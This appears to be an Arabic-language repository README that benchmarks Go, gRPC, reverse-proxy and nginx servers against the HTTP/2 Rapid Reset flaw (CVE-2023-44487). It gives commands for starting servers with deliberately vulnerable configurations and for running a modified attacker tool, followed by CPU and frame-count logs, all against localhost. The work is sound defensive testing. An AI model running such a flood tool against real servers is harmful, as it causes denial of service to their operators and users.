
موارد اختبار وأداة مهاجم لـ CVE-2023-44487 (HTTP/2 Rapid Reset) لتقييم مرونة الخادم عبر تكوينات Go وgRPC والوكيل العكسي وnginx.
يحتوي هذا المستودع على موارد اختبار ونتائج لـ CVE-2023-44487. يستخدم نسخة معدلة من https://github.com/secengjeff/rapidresetclient لاختبار تكوينات خادم Golang المختلفة.
go run server.go
go run attacker.go -requests 500000
go 1.21.0
350% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Total time: 7.99 seconds (62562 rps)
go 1.21.3
75% CPU load (just for a short time at the begin of the attack)
--- Summary ---
Frames sent: HEADERS = 74767, RST_STREAM = 74767
Total time: 3.57 seconds (20921 rps)
starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
go run grpcserver.go
go run attacker.go -requests 500000
go 1.21.0, golang.org/x/net v0.16.0, google.golang.org/grpc v1.58.0
150-200% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499998
Total time: 10.23 seconds (48898 rps)
go 1.21.3, golang.org/x/net v0.17.0, google.golang.org/grpc v1.59.0
150-200% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499993
Total time: 8.25 seconds (60639 rps)
المهاجم لا يستدعي نقاط نهاية GRPC فعليًا، لذلك لا يبدو أن هناك فرقًا في السلوك مع استدعاءات http2 "العادية". لست متأكدًا تمامًا إذا كان هذا جيدًا أم سيئًا، لكن الخادم يتمكن من مواكبة الحركة المرورية.
# use nginx as target
sudo nginx -c $PWD/nginx/vulnerable_8444.conf -g daemon\ off\;
go run revproxyserver.go
go run attacker.go -requests 500000
go 1.21.0
200% CPU load during the full attack
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 25
Total time: 9.43 seconds (53014 rps)
go 1.21.3
150% CPU load (just for a short time at the begin of the attack)
--- Summary ---
Frames sent: HEADERS = 100194, RST_STREAM = 100193
Total time: 4.36 seconds (22955 rps)
starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
Server log now contains 😎
2023/10/25 14:45:54 http2: server connection error from [::1]:60762: connection error: ENHANCE_YOUR_CALM
sudo nginx -c $PWD/nginx/vulnerable.conf -g daemon\ off\;
go run attacker.go -requests 500000
مع تكوين ضعيف
100% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 478609
Total time: 8.13 seconds (61484 rps)
مع التكوين الافتراضي
34% CPU load
--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 1432
Total time: 7.62 seconds (65588 rps)
يتوقف Nginx عن الاستجابة للعديد من الإطارات